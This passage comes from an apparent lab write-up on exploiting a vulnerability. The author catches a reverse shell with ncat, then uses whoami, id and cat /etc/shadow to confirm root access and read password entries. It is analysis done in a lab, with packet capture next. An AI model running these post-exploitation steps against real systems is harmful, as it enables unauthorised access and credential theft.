Ncat: Connection from 172.17.0.2:37957.


Above says a connection came in from the report host. With the screen being blank, it looks like it was just the connection and that's it. Let's run a few commands to confirm we have a shell.

ls
app
bin
dev
etc
...

whoami
root

uname --all
Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

cat /etc/shadow
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
....

We do have a shell. That shell is also has root level privileges. The fact that we have root level privileges on this host, means we can as do anything we want with the system.

Ok. I believe I have a better understanding of the issue now from both the vulnerability and exploit perspective. Additionally, I have a better understanding of how threat actors are using this PoC to  perform remote code execution to gain access to the vulnerable system. Next up, time to analyze the packets we captured.